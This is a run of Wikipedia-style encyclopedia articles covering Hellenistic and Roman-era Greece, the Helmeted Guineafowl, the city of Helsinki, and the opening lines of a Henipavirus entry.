          Following Alexander's death a struggle for power broke out among his generals, which resulted in the break-up of his empire and the establishment of a number of new kingdoms. Macedon fell to Cassander, son of Alexander's leading general Antipater, who after several years of warfare made himself master of most of Greece. He founded a new Macedonian capital at Thessaloniki and was generally a constructive ruler.


          Cassander's power was challenged by Antigonus, ruler of Anatolia, who promised the Greek cities that he would restore their freedom if they supported him. This led to successful revolts against Cassander's local rulers. In 307 BC Antigonus's son Demetrius captured Athens and restored its democratic system, which had been suppressed by Alexander. But in 301 BC a coalition of Cassander and the other Hellenistic kings defeated Antigonus at the Battle of Ipsus, ending his challenge.


          After Cassander's death in 298 BC, however, Demetrius seized the Macedonian throne and gained control of most of Greece. He was defeated by a second coalition of Greek rulers in 285 BC, and mastery of Greece passed to Lysimachus, king of Thrace. Lysimachus was in turn defeated and killed in 280 BC. The Macedonian throne then passed to Demetrius's son Antigonus II, who also defeated an invasion of the Greek lands by the Gauls, who at this time were living in the Balkans. The battle against the Gauls united the Antigonids of Macedon and the Seleucids of Antioch, an alliance which was also directed against the wealthiest Hellenistic power, the Ptolemies of Egypt.


          Antigonus II ruled until his death in 239 BC, and his family retained the Macedonian throne until it was abolished by the Romans in 146 BC. Their control over the Greek city states was intermittent, however, since other rulers, particularly the Ptolemies, subsidised anti-Macedonian parties in Greece to undermine the Antigonids' power. Antigonus placed a garrison at Corinth, the strategic centre of Greece, but Athens, Rhodes, Pergamum and other Greek states retained substantial independence, and formed the Aetolian League as a means of defending it. Sparta also remained independent, but generally refused to join any league.


          In 267 BC Ptolemy II persuaded the Greek cities to revolt against Antigonus, in what became the Chremonidian War, after the Athenian leader Chremonides. The cities were defeated and Athens lost her independence and her democratic institutions. The Aetolian League was restricted to the Peloponnese, but on being allowed to gain control of Thebes in 245 BC became a Macedonian ally. This marked the end of Athens as a political actor, although it remained the largest, wealthiest and most cultivated city in Greece. In 255 BC Antigonus defeated the Egyptian fleet at Cos and brought the Aegean islands, except Rhodes, under his rule as well.


          


          Philip V
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          Antigonus II died in 239 BC. His death saw another revolt of the city-states of the Achaean League, whose dominant figure was Aratus of Sicyon. Antigonus's son Demetrius II died in 229 BC, leaving a child ( Philip V) as king, with the general Antigonus Doson as regent. The Achaeans, while nominally subject to Ptolemy, were in effect independent, and controlled most of southern Greece. Athens remained aloof from this conflict by common consent.


          Sparta remained hostile to the Achaeans, and in 227 BC Sparta's king Cleomenes III invaded Achaea and seized control of the League. Aratus preferred distant Macedon to nearby Sparta, and allied himself with Doson, who in 222 BC defeated the Spartans and annexed their city  the first time Sparta had ever been occupied by a foreign power.


          Philip V, who came to power when Doson died in 221 BC, was the last Greek ruler with both the talent and the opportunity to unite Greece and preserve its independence against the "cloud rising in the west": the ever-increasing power of Rome. He was known as "the darling of Hellas". Under his auspices the Peace of Naupactus ( 217 BC) brought conflict between Macedon and the Greek leagues to an end, and at this time he controlled all of Greece except Athens, Rhodes and Pergamum.


          In 215 BC, however, Philip formed an alliance with Rome's enemy Carthage, which drew Rome directly into Greek affairs for the first time. Rome promptly lured the Achaean cities away from their nominal loyalty to Philip, and formed alliances with Rhodes and Pergamum, now the strongest power in Asia Minor. The First Macedonian War broke out in 212 BC, and ended inconclusively in 205 BC, but Macedon was now marked as an enemy of Rome. Rome's ally Rhodes gained control of the Aegean islands.


          In 202 BC Rome defeated Carthage, and was free to turn her attention eastwards, urged on by her Greek allies, Rhodes and Pergamum. In 198 the Second Macedonian War broke out for obscure reasons, but basically because Rome saw Macedon as a potential ally of the Seleucids, the greatest power in the east. Philip's allies in Greece deserted him and in 197 BC he was decisively defeated at the Cynoscephalae by the Roman proconsul Titus Quinctius Flamininus.


          Luckily for the Greeks, Flamininus was a moderate man and an admirer of Greek culture. Philip had to surrender his fleet and become a Roman ally, but was otherwise spared. At the Isthmian Games in 196 BC, Flamininus declared all the Greek cities free, although Roman garrisons were placed at Corinth and Chalcis. But the freedom promised by Rome was an illusion. All the cities except Rhodes were enrolled in a new League which Rome ultimately controlled, and democracies were replaced by aristocratic regimes allied to Rome.


          


          The rise of Rome


          In 192 BC war broke out between Rome and the Seleucid ruler Antiochus III. Some Greek cities now saw Antiochus as their saviour from Roman rule, but Macedon threw its lot in with Rome, and Antiochus was defeated at Thermopylae in 191 BC. During the course of this war Roman troops crossed into Asia for the first time, where they defeated Antiochus again at Magnesia on the Sipylum ( 190 BC). Greece now lay across Rome's line of communications with the east, and Roman troops became a permanent presence. The Peace of Apamaea ( 188 BC) left Rome in a dominant position throughout Greece.


          During the following years Rome was drawn deeper into Greek politics, since the defeated party in any dispute appealed to Rome for help. Macedon was still independent, though nominally a Roman ally. When Philip V died in 179 BC he was succeeded by his son Perseus, who like all the Macedonian kings dreamed of uniting the Greeks under Macedonian rule. Macedon was now too weak to achieve this objective, but Rome's ally Eumenes II of Pergamum persuaded Rome that Perseus was a threat to Rome's position.


          


          The end of Greek independence


          As a result of Eumenes's intrigues Rome declared war on Macedon in 171 BC, bringing 100,000 troops into Greece. Macedon was no match for this army, and Perseus was unable to rally the other Greek states to his aid. Poor generalship by the Romans enabled him to hold out for three years, but in 168 BC the Romans sent Lucius Aemilius Paullus to Greece, and at Pydna the Macedonians were crushingly defeated. Perseus was captured and taken to Rome, the Macedonian kingdom was broken up into four smaller states, and all the Greek cities who aided her, even rhetorically, were punished. Even Rome's allies Rhodes and Pergamum effectively lost their independence.


          Under the leadership of an adventurer called Andriscus, Macedon rebelled against Roman rule in 149 BC: as a result it was directly annexed the following year and became a Roman province, the first of the Greek states to suffer this fate. Rome now demanded that the Achaean League, the last stronghold of Greek independence, be dissolved. The Achaeans refused and, feeling that they might as well die fighting, declared war on Rome. Most of the Greek cities rallied to the Achaeans' side, even slaves were freed to fight for Greek independence. The Roman consul Lucius Mummius advanced from Macedonia and defeated the Greeks at Corinth, which was razed to the ground.


          In 146 BC the Greek peninsula, though not the islands, became a Roman protectorate. Roman taxes were imposed, except in Athens and Sparta, and all the cities had to accept rule by Rome's local allies. In 133 BC the last king of Pergamum died and left his kingdom to Rome: this brought most of the Aegean peninsula under direct Roman rule as part of the province of Asia.
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          The final downfall of Greece came in 88 BC, when King Mithridates of Pontus rebelled against Rome, and massacred up to 100,000 Romans and Roman allies across Asia Minor. Although Mithridates was not Greek, many Greek cities, including Athens, overthrew their Roman puppet rulers and joined him. When he was driven out of Greece by the Roman general Lucius Cornelius Sulla, Roman vengeance fell upon Greece again, and the Greek cities never recovered. Mithridates was finally defeated by Gnaeus Pompeius Magnus (Pompey the Great) in 65 BC.


          Further ruin was brought to Greece by the Roman civil wars, which were partly fought in Greece. Finally, in 27 BC, Augustus directly annexed Greece to the new Roman Empire as the province of Achaea. The struggles with Rome had left Greece depopulated and demoralised. Nevertheless, Roman rule at least brought an end to warfare, and cities such as Athens, Corinth, Thessaloniki and Patras soon recovered their prosperity.
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              	Conservation status
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                  Least Concern( IUCN 3.1)
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                    	Numida

                    Linnaeus, 1766
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              	Binomial name
            


            
              	Numida meleagris

              Linnaeus, 1758
            

          


          The Helmeted Guineafowl (Numida meleagris) is the best known of the guineafowl bird family, Numididae, and the only member of the genus Numida. It breeds in Africa, mainly south of the Sahara, and has been widely introduced into the West Indies and southern France.


          It breeds in warm, fairly dry and open habitats with scattered shrubs and trees such as savanna or farmland. It lays its large clutch of 20-30 eggs in a well-hidden lined scrape, and the females incubate the eggs for 26-28 days. The chicks are cryptically coloured and rapid wing growth enables them to flutter onto low branches barely a week after hatching. These guineafowl live as long as 12 years in the wild.


          The Helmeted Guineafowl is a large (53-58cm) bird with a round body and small head. They weigh about 1.3 kg. The body plumage is gray-black spangled with white. Like other guineafowl, this species has an unfeathered head, in this case decorated with a dull yellow or reddish bony knob, and red and blue patches of skin. The wings are short and rounded, and the tail is also short.


          This is a gregarious species, forming flocks outside the breeding season typically of about 25 birds that also roost communally. Guineafowl are particularly well-suited to consuming massive quantities of lyme disease carrying ticks. These birds are terrestrial, and prone to run rather than fly when alarmed. They are, however, like most short- and broad-winged birds, very agile and powerful flyers, capable of hovering and even flying backwards when necessary. Helmeted Guineafowl are great runners, and can readily cover 10 km and more in a day. They make loud harsh calls when disturbed. Their diet consists of a variety of animal and plant food; seeds, fruits, greens, snails, spiders, worms and insects, frogs, lizards, small snakes and small mammals. Guineafowl are equipped with strong claws and scratch in soil for food much like domestic chickens. They have well-developed spurs and use these to great effect when fighting.
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          In the early days of the European colonisation of North America, the native Wild Turkey (Meleagris gallopavo) was confused with this species. This led to the English name of the American bird, since Turkey and Guinea were equally far-off and exotic places. The word meleagris, Greek for guineafowl, is also shared in the scientific names of the two species, although for the guineafowl it is the species name, whereas for the turkey, it is the name of the genus and (in an altered state) the family. 


          Domestication


          Helmeted Guineafowl is often domesticated, and it is this species that is sold in Western supermarkets.


          
            Retrieved from " http://en.wikipedia.org/wiki/Helmeted_Guineafowl"
          


          

        

      

    


    


    
      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        Helsinki


        
          

          
            
              	City of Helsinki

              Helsingin kaupunki - Helsingfors stad
            


            
              	
                
                  [image: ]
                

              
            


            
              	
                
                  
                    	[image: Coat of arms of City of Helsinki]

                    Coat of arms
                  

                

              
            


            
              	Nickname(s): Stadi, Hesa
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              	Coordinates:
            


            
              	Country

              	Finland
            


            
              	Province

              	Southern Finland
            


            
              	Region

              	Uusimaa
            


            
              	Sub-region

              	Helsinki
            


            
              	Charter

              	1550
            


            
              	Capital city

              	1812
            


            
              	Government
            


            
              	- Mayor

              	Jussi Pajunen
            


            
              	Area
            


            
              	-City

              	187.1km(72.2sqmi)
            


            
              	-Land

              	186.4km(72sqmi)
            


            
              	- Water

              	0.7km(0.3sqmi)
            


            
              	- Urban

              	765.6km(295.6sqmi)
            


            
              	- Metro

              	3,822.2km(1,475.8sqmi)
            


            
              	Population (2006)
            


            
              	-City

              	569,892
            


            
              	- Density

              	3,060/km(7,925.4/sqmi)
            


            
              	- Urban

              	1 021 851
            


            
              	- Urban Density

              	1,330/km(3,444.7/sqmi)
            


            
              	- Metro

              	1 293 262
            


            
              	- Metro Density

              	339/km(878/sqmi)
            


            
              	- Demonym

              	Helsinkilinen (Finnish), Helsingforsare (Swedish), Stadilainen (slang)
            


            
              	Time zone

              	EET ( UTC+2)
            


            
              	-Summer( DST)

              	EEST ( UTC+3)
            


            
              	Official languages

              	Finnish, Swedish
            


            
              	Website: www.hel.fi
            

          


          Helsinki (in Finnish; listen), or Helsingfors (in Swedish; listen) is the capital and largest city of Finland. It is in the southern part of Finland, on the shore of the Gulf of Finland, by the Baltic Sea. The population of the city of Helsinki is 569,892 ( 31 March 2008), making it the most populous municipality in Finland by a wide margin. Foreign-born population stands at around 10%.


          Helsinki, along with the neighbouring cities of Vantaa, Espoo, and Kauniainen, constitutes what is known as the capital region, with over 1,000,000 inhabitants. The Greater Helsinki area contains 12 municipalities and has a population of over 1,300,000. The Greater Helsinki accounts for a quarter of population, 29% of jobs and a third of GDP.


          Helsinki is Finland's capital for business, education, research, culture, and government. Greater Helsinki has eight universities and six technology parks. Some 70% of foreign companies operating in Finland have settled in Helsinki region. The immigration of rural residents has made it one of the fastest growing metropolitan areas in Europe.


          Finland's main international airline hub, Helsinki-Vantaa airport is 40 minutes from the city centre, with direct flights around the world. The busy Helsinki- Tallinn route takes 1.5 hours by sea and 18 minutes by helicopter. Two other big cities in Finland, Tampere and Turku, can be reached in 1.5 - 2 hours by train and 1.5 - 2.5 hours by car.


          


          Names and etymology


          The Swedish name Helsingfors ([hɛlsiŋ'fɔʂ]) is the original name of the city of Helsinki, and is still the official Swedish name for the city. The Finnish name, Helsinki (pronounced with the stress on the first syllable: ['helsiŋki]), has been dominant in other languages for decades. The Swedish name Helsingfors comes from the name of the surrounding parish, Helsinge (source for Finnish Helsinki) and the rapids (in Swedish: fors), which flowed through the original town. It is often thought that the name Helsinge was given by the Swedish immigrants who came from the Swedish province of Hlsingland. Another explanation involves the Swedish word hals (neck), referring to the narrowest part of the river, i.e. the rapids. E.g. the names Helsingborg and Helsingr have derived from the word "hals".


          In Helsinki slang the town is also called Stadi (from the Swedish word stad, meaning city) and Hesa in colloquial Finnish. Helsset is the North Sami name of Helsinki.


          


          History
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          Founded in 1550 as a rival to the Hanseatic city of Reval (today: Tallinn) by King Gustav I of Sweden, the town of Helsinki struggled in its infancy. The fledgling settlement was plagued by poverty, wars, and diseases. For a long time it remained a small coastal town, overshadowed by the more thriving trade centers in the Baltic region. The construction of the Sveaborg (In Finnish Viapori, today also Suomenlinna) naval fortress helped improve its status, but it was not until Russia defeated Sweden in the Finnish War and annexed Finland as the autonomous Grand Duchy of Finland in 1809 that Helsinki began to develop into a major city.


          In order to reduce Swedish influence in Finland, Czar Alexander I of Russia moved the capital from Turku, which had close ties to Sweden, to Helsinki. The Royal Academy of Turku, back then the only university in the country, was relocated to Helsinki in 1827 and eventually became the modern University of Helsinki. The move consolidated the city's new role, and the following decades saw unprecedented growth and development for the city, creating the prerequisites for the birth of the modern world class capital in the 20th century. This transformation is highly apparent in the downtown core, which was rebuilt in neoclassical style to resemble St. Petersburg. As elsewhere, technological advancements such as railroads and industrialization were a key factor behind the growth.


          In the 1918 Finnish Civil War, Helsinki fell to the Red Guard on January 28th, the first day of the war. The Red side gained contol of the whole of southern Finland after minor hostilities. The Senate was relocated to Vaasa, although some senators and officials remained in hiding in the capital. After the tide of war turned against the Red forces, German troops fighting on the side of the Finnish White Guard recaptured Helsinki in April 1918. Unlike Tampere, Helsinki suffered relatively little damage in the war. After the White victory many former Red soldiers and collaborators were confined in prison camps across the country. The largest camp, having approximately 13,300 prisoners, was located on the former naval fortress island of Suomenlinna in Helsinki. Although the civil war left a considerable scar on the society, the standard of living in the country and the city began to improve in the following decade. Renowned architects such as Eliel Saarinen created utopistic plans for Helsinki, but they were never realized to full extent.


          In the aerial bombings of the Winter War (1939-40) and the Continuation War (1941-44) Helsinki was attacked by Soviet bombers. The most intense air raids took place in the spring of 1944, when over two thousand Soviet planes dropped some 16,000 bombs in and around the city. However, due to successful air defense the city was spared from the large-scale destruction that many other cities in Europe under bombings of similar scale suffered. Only a small number of bombs hit populated areas.


          Despite the tumultous first half of the 20th century, Helsinki continued to develop steadily. The rapid urbanization of the 1970s, which occurred relatively late in the European context, tripled the population in the metropolitan area, making the Helsinki metropolitan area one of the fastest growing urban centers in the European Union in the 1990s. The relatively sparse population density of Helsinki and its peculiar structure have often been attributed to the lateness of the urbanisation. Thus today the Helsinki metropolitan area is the second most sparsely populated EU-capital after Brussels.


          


          Economy
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          The Helsinki metropolitan area generates approximately one third of the Finnish GDP. GDP per capita is roughly 1.5 times the national average, making Helsinki one of the wealthiest capitals in Europe. In 2004, the local economy grew by 3.2%.


          Since the 1950s, the economy has become largely service-based, although industries such as shipbuilding continue to employ a substantial number of people. Large service-based employers include the public sector and the information technology sector. Helsinki has many staffing agencies.


          The metropolitan area is the location of choice for the headquarters of large Finnish companies as well as the regional headquarters of international companies. Metropolitan area has the best availability of highly skilled employees, good infrastructure, and business ecosystem.


          Helsinki has rich neighborhoods and poor neighborhoods all over the municipality. Poor neighborhoods especially in eastern areas are famous for crime and other ills. Some have preferred Espoo, which is considered better managed economy. Helsinki is also losing companies to Espoo. Improving the economy of Helsinki and cooperation between the municipalities of Helsinki conurbation area are seen as major future challenges for the economic development of the region.


          Helsinki's population growth has been flat in recent years, while Espoo and surrounding areas grow clearly faster. Migration rate to Greater Helsinki is around 5000 persons per year. The fastest growing area is countryside belt between Ing, Kirkkonummi, Vihti and Nurmijrvi and Pornainen, though absolute numbers were in hundreds between 2000-2004. Between 2000-2004, net migration in Helsinki was negative at -330 residents. 20-30 years old make around 19 percent of the population in Helsinki compared to 14 percent in Finland.


          The tap water is excellent quality and it is supplied by 120km long Pijnne Water Tunnel, the world's longest continuous rock tunnel. The bottled tap water is even sold to countries such as Saudi Arabia.


          


          Jobs


          Metropolitan employment rate stands at around 75% and employment growth has been good. Around 20% works in manufacturing and construction, compared to 10% in London and 30% in Milan. In private-sector services the distribution is typical. 34.5 works in trade, 17% in transport, 8% in hotels and restaurants, 5.7 in financial services, and 34.5% in other market services.


          Metropolitan gross value-added per capita is 200% of the mean of 27 European metropolitan. It equals to Stockholm or Paris. The gross value-added annual growth has been around 4%.


          83 of the 100 largest companies are headquartered in Greater Helsinki. Two thirds of the 200 highest-paid executives live in Greater Helsinki and 84 in Helsinki. The average income of the top 50 earners was 1.65 million euro.


          


          Housing


          In 2004, there were 311,617 dwellings and 92,5 occupancy rate. 85.7% of dwellings were blocks of flats. Around 25% of dwellings were 1 room, 55% 2-3 rooms and 20% over 4 rooms. Home ownership was 40% in Helsinki and 60% in Finland. The average space per person is 33,5 square meters. In 2005, the average housing cost in Helsinki was 2,000 euro per square meter. The average monthly rent was around 13 euro per square meter. 2,546 new dwellings were built in 2005.


          Helsinki opposes high-rise developments (buildings over 12 floors). Sometimes museum agencies restrict new developments. Santahamina is a relatively large military-occupied island just a few kilometers from the center. Because of ideological reasons, Helsinki uses taxpayer money to locate unemployed housing and drug users clinics even in the expensive city centre, despite far cheaper alternatives. On the other hand, the Centre Party decentralization programs - that move state offices to the Centre Party's rural constituencies - have angered state employees.


          


          Demographics


          The population of Helsinki is predominantly Finnish with a sizable Swedish speaking minority (6.2%) . Additionally, 5.9% of the population are foreign citizens.


          The city has Finland's largest immigrant population in both absolute and relative terms. There are people from over 130 nationalities residents in Helsinki. The largest groups, in terms of smaller minorities, are from Russia, Estonia, Sweden but also from Somalia, Serbia, China, Iraq and Germany.


          


          Services
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          Education


          Helsinki has 190 comprehensive schools, 41 upper secondary schools and 15 vocational institutes. Half of the 41 upper secondary schools are private or state-owned, the other half municipal. Higher level education is given in eight universities (see the section "Universities" below) and four polytechnics.


          


          Institutions of higher education


          


          Universities


          
            	University of Helsinki


            	Helsinki University of Technology (located in neighbouring Espoo)


            	Helsinki School of Economics


            	Swedish School of Economics and Business Administration


            	Academy of Fine Arts


            	Sibelius Academy


            	Theatre Academy


            	University of Art and Design Helsinki


            	National Defence College

          


          


          Polytechnics


          
            	Helsinki Polytechnic Stadia


            	Helsinki Polytechnic Arcada


            	Helsinki Business Polytechnic (Helia)

          


          


          Transport


          


          Roads
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              Helsinki region roads.
            

          


          Helsinki has several ring roads: Keh I, Keh II, and Keh III. From central city to east and west, there are Itvyl and Lnsivyl. From the central city to north, there are several routes. There is a proposal to build a Stockholm-like tunnel under the central Helsinki to hide cars from streets. Central Helsinki has popular underground parking facilities.


          Helsinki has some 390 cars per 1000 inhabitants. This is less than in cities of similar density, for instance, Brussel's 483 per 1000 and Stockholm's 401, and Oslo's 413.


          


          Rail transport and buses


          
            [image: The Helsinki Metro with its characteristic bright orange trains is the world's northernmost subway.]

            
              The Helsinki Metro with its characteristic bright orange trains is the world's northernmost subway.
            

          


          Public transportation is generally a hotly debated subject in the local politics of Helsinki. In Helsinki, public transportation is mostly managed under Helsinki City Transport, the city's transportation authority. The diverse public transport system consists of trams, light commuter rail, the subway, bus lines and two ferry lines. The Helsinki Metropolitan Area Council manages traffic to the surrounding municipalities of Espoo, Vantaa and Kauniainen.


          Today, Helsinki is the only city in Finland to have trams or subway trains. There used to be two other cities in Finland with trams: Turku and Viipuri (Vyborg, now in Russia), but both have since abandoned trams. The Helsinki Metro, opened in the year 1982, is so far the only subway system in Finland. In 2006, the construction of the long debated extension of the subway system west into Espoo was approved, and serious debate about an eastern extension into Sipoo has taken place.


          


          Aviation
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          Air traffic is handled primarily from the international Helsinki-Vantaa Airport, located approximately 19kilometres (12mi) north of Helsinki's downtown area, in the neighbouring city of Vantaa. The airport provides scheduled non-stop flights to many important cities in Europe, Asia and North America. Helsinki's second airport, Malmi Airport, is mainly used for general and private aviation.


          


          Sea transport


          Ferry connections to Tallinn and Stockholm are serviced by various companies. Finnlines passenger-freight ferries to Travemnde, Germany are also available, while Tallink began service to Rostock, Germany in 2007. Copterline has provided fast (18 min.) helicopter flights to Tallinn.


          


          Politics


          Helsinki has eighty-five members in its city council. The three largest parties are National Coalition (25), Social Democrats (21) and Greens (17).


          


          Geography
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          Helsinki spreads around a number of bays and peninsulas and over a number of islands. The inner city area occupies a southern peninsula, which is rarely referred to by its actual name Vironniemi. Population density in certain parts of Helsinki's inner city area is very high, reaching 16,494inhabitants per square kilometer (42,719/sqmi) in the district of Kallio, but as a whole Helsinki's population density of 3,050inhabitants per square kilometer (7,899/sqmi) ranks it as quite sparsely populated in comparison to other European capital cities. Much of Helsinki outside the inner city area consists of postwar suburbs separated from each other by patches of forests. A narrow, ten kilometer (6.2mi) long Helsinki Central Park that stretches from the inner city to the northern border of Helsinki is an important recreational area for the residents.


          Some notable islands in Helsinki include Seurasaari, Lauttasaari and Korkeasaari  which is also the country's biggest zoo  as well as the fortress island of Suomenlinna (Sveaborg) and the military island of Santahamina.


          


          Climate
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              The Climate in Helsinki.
            

          


          The city has a temperate continental climate. Owing to the mitigating influence of the Baltic sea and Gulf stream, temperatures in winter are much higher than the northern location might suggest, with the average in January and February around -6 C. Temperatures below -20 C occur normally only for a week or two in a year. However, because of the latitude, days lasts less than six hours in the winter solstice, and the very cloudy weather accentuates the darkness. Conversely, Helsinki enjoys long days in summer, eighteen hours at the summer solstice. The temperature June through August is around 18-25 C.


          Climate in 2007 in Helsinki city centre (summer temperatures are not very hot and winter temperatures not very cold because of its location near the sea):


          
            
              	
                Table Climate of Helsinki

              
            


            
              	Temperature
            


            
              	Month

              	Jan

              	Feb

              	Mar

              	Apr

              	May

              	Jun

              	Jul

              	Aug

              	Sep

              	Oct

              	Nov

              	Dec

              	

              	Year
            


            
              	Record HighC

              	9

              	12

              	17

              	25

              	30

              	31

              	33

              	31

              	26

              	19

              	13

              	10

              	

              	33.1
            


            
              	Average high C

              	2

              	-5

              	8

              	11

              	16

              	21

              	22

              	23

              	15

              	10

              	3

              	4

              	

              	11
            


            
              	Average low C

              	-6

              	-14

              	-1

              	0

              	5

              	9

              	13

              	12

              	6

              	3

              	-2

              	0

              	

              	2
            


            
              	Record low C

              	-34

              	-32

              	-28

              	-17

              	-8

              	-2

              	3

              	-1

              	-7

              	-16

              	-23

              	-32

              	

              	-34.3
            


            
              	Precipitation
            


            
              	Month

              	Jan

              	Feb

              	Mar

              	Apr

              	May

              	Jun

              	Jul

              	Aug

              	Sep

              	Oct

              	Nov

              	Dec

              	

              	
            


            
              	Total mm

              	78

              	11.9

              	25

              	47.2

              	46.7

              	44.4

              	60

              	61

              	76

              	91

              	86.2

              	91.4

              	

              	718.8
            


            
              	
            

          


          


          Architecture
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          Carl Ludvig Engel (1778-1840) designed several neo-classical buildings in Helsinki. He was kept in Helsinki by a unique assignment, as he was elected to plan a new city centre all on his own. The city became shallow and wide at the time when most buildings had only two or three floors. The central point of Engel's city plan is the Senate Square, surrounded by the Government's Palace, the main building of the University, and the enormous Cathedral, which was finished in 1852, twelve years after C. L. Engel's death. Engels' neo-classical plan of the city centre has later given Helsinki the epithet The White City Of The North.


          Helsinki is, however, perhaps even more famous for its numerous Art Nouveau (Jugend in Finnish) buildings, designed in the early 1900s and strongly influenced by the Kalevala, which is a very popular theme in the national romantic art of that era. Helsinki's Art Nouveau style is also featured in large residential areas such as Katajanokka and Ullanlinna. The master of the Finnish Art Nouveau was Eliel Saarinen (1873-1950), whose architectural masterpiece was the Helsinki central railway station.


          Helsinki also features several buildings by the world-renowned Finnish architect Alvar Aalto (1898-1976), attributed as one of the pioneers in functionalism. Many of Aalto's works are either loved or hated. Aalto's buildings, such as the headquarters of the paper company Enso and the concert and congress house Finlandia Hall, have sparked much debate amongst Helsinki's inhabitants.


          In addition to Aalto's work, there is a body of other noteworthy functionalist architecture in Helsinki, such as the Olympic Stadium, the Tennis Palace, the Rowing Stadium, the Swimming Stadium, the Velodrome, the Glass Palace, the Exhibition Hall (now Tl Sports Hall) and Helsinki-Malmi Airport. The sports venues were built to serve the 1940 Helsinki Olympic Games (canceled due to the Second World War), but eventually got to fulfill their purpose in the 1952 Olympic Games. Many of them are listed by DoCoMoMo as significant examples of modern architecture. The Olympic Stadium and Helsinki-Malmi Airport are in addition catalogued by the National Board of Antiquities as cultural-historical environments of national significance.


          During the 1960s and 1970s many aesthetically and historically important houses were swiftly demolished to make room for the rapidly expanding city and instead houses presenting more values of functionalism were built. This has later been widely regarded as a bad move and has led to a strong protectionism of old buildings in Helsinki. The plans made during the era of rapid growth expected Helsinki to have well over one million inhabitants at the turn of the millennium. Much due to the strong protectionism of today there are still many areas left with distinctive old wooden houses, such as Kpyl, Kumpula, Toukola and Puu-Vallila.


          As a historical footnote, Helsinki's neoclassical buildings were often used as a backdrop for scenes set to take place in the Soviet Union in many Cold War era Hollywood movies. Some of the more notable ones are The Kremlin Letter (1970), Reds (1981) and Gorky Park (1983). Because some of the streetscapes were reminiscent of Leningrad's and Moscow's old buildings, they were used in the production - much to some residents' dismay. At the same time the government secretly briefed its white-collar workers to make producing these, often clearly Soviet-negative, films in Helsinki as hard as possible due to diplomatic pressure from Moscow.


          


          Culture
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          The biggest historical museum in Helsinki is the National Museum of Finland, which displays a vast historical collection from prehistoric times to the 21st century. The museum building itself, a national romantic style neo-medieval castle, is a tourist attraction. Other major historical museum is the Helsinki City Museum, which introduces visitors to Helsinki's 500 year history. The University of Helsinki also has many significant museums, including the University Museum and the Natural History Museum.


          The Finnish National Gallery consists on three museums: Ateneum Art Museum for classical Finnish art, Sinebrychoff Art Museum for classical European art, and Kiasma Art Museum for modern art. The old Ateneum, a neo-renaissance palace from 19th century, is one of the city's major historical buildings, whereas the highly modern Kiasma is probably the most debated building in Helsinki.


          Helsinki has three major theatres: The Finnish National Theatre, the Helsinki City Theatre, and the Finland Swedish Svenska Teatern. The city's main musical venues are the Finnish National Opera and the Finlandia concert-hall. Bigger concerts and events are usually held at one of the city's two big ice hockey arenas: the Hartwall Areena or the Helsingin Jhalli. Helsinki has Finland's largest fair centre.


          Helsinki is considered as one of the main hubs of popular music in Northern Europe, many widely renowned and acclaimed bands have originated in Helsinki, including Norther, Ensiferum, HIM, The Rasmus, The 69 Eyes, Hanoi Rocks, Apocalyptica and Stratovarius.


          


          Events


          
            	The Helsinki Festival is an annual arts and culture festival, which takes place every August (including the Night of the Arts).


            	Valon Voimat "Forces of Light" is an annual winter arts festival.


            	Vappu "Vappu" is an annual carnival for students and workers.

          


          Helsinki hosted the Eurovision Song Contest 2007, the first ever Eurovision Song Contest arranged in Finland.


          
            
              	Precededby

              Athens, Greece 2006

              	Eurovision Song Contest Hosts Helsinki

              2007

              	Succeededby

              Belgrade, Serbia 2008
            

          


          


          Sports
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          Helsinki has a long tradition of sports, the city gained much of its initial international recognition during the 1952 Summer Olympics, and the city has since then been very open to arranging sporting events. Helsinki hosts fairly successful local teams in both of the most popular team-sports in Finland, football and ice hockey. The latter being a sport of passion for many Helsinkians, who usually take a stance for either of the local clubs HIFK or Jokerit. The strong culture of ice hockey has led to Helsinki becoming the birthplace of many legendary National Hockey League stars such as Teemu Selnne, Jari Kurri and Esa Tikkanen. Helsinki also houses HJK, Finland's largest and most successful football club.


          


          Tourism
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          Helsinki is relatively small and intimate but lively and bustling. The nearby islands are its summer delights.


          Because Helsinki is located on the coast of the Baltic Sea and has many kilometres of coastline, most of its central districts are near the seaside. Helsinki is a very maritime city and is popularly called the daughter of the Baltic.


          Helsinki's coastal position makes it ideal to experience in the summertime from one of the many sightseeing ferries leaving from the port of Helsinki. Many of Helsinki's main attractions are also related to the sea, including the Suomenlinna naval fortress (a UNESCO World Heritage site) and the Seurasaari Island with its parks and open-air museum. Locals often spend sunny days at the Hietaniemi beach (often simply called Hietsu), Helsinki's main beach in the district of Tl.


          In the winter-time Helsinki's northern position makes it dark for most of the day, thus making it a cosy town with much interesting lighting, such as the classic Aleksanterinkatu's Christmas street (Joulukatu). During the coldest months of the winter it is very common for Helsinkians to go for walks on the frozen sea, although much caution must be taken. There are also many places for ice swimming along the coast, some with saunas.


          Air travel to Helsinki is via the Helsinki-Vantaa Airport, situated in the neighbouring town of Vantaa, a town part of Greater Helsinki. Helsinki also has popular cruiseferry links with Stockholm, Sweden and hydrofoil and catamaran links to Tallinn, Estonia. Silja, Viking and Tallink are the biggest ferry operators.


          Helsinki is also the home of the Linnanmki amusement park, which features five rollercoasters and many other rides, including the world's first Intamin ZacSpin rollercoaster, set to open April 2007.


          Helsinki is a safe city for tourists and a safe place to live in. In terms of personal safety, Helsinki has been named 2nd safest city in the world.


          


          Notable natives


          
            
              	Adolf Erik Nordenskild

              	 18321901 

              	scientist
            


            
              	Helene Schjerfbeck

              	 18621946 

              	painter
            


            
              	Artturi Ilmari Virtanen

              	 18951973 

              	Nobel laureate (Chemistry, 1945)
            


            
              	Ragnar Granit

              	 19001991 

              	Nobel laureate (Medicine, 1967)
            


            
              	Mika Waltari

              	 19081979 

              	author
            


            
              	Tove Jansson

              	 19142001 

              	author and creator of the Moomin characters
            


            
              	Georg Henrik von Wright

              	 19162003 

              	philosopher
            


            
              	Tarja Halonen

              	 1943 

              	President of the Republic of Finland since 2000
            


            
              	Esa-Pekka Salonen

              	 1958 

              	conductor and composer
            


            
              	Jari Kurri

              	 1960 

              	Hockey player and hall of famer in NHL
            


            
              	Linus Torvalds

              	 1969 

              	creator of the Linux kernel
            

          


          For a more thorough list see the Wikipedia category People from Helsinki.
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          Henipavirus is a genus of the family Paramyxoviridae, order Mononegavirales containing two members, Hendravirus and Nipahvirus. The henipaviruses are naturally harboured by Pteropid fruit bats (flying foxes) and are characterised by a large genome, a wide host range and their recent emergence as zoonotic pathogens capable of causing illness and death in domestic animals and humans.


          


          Virus structure
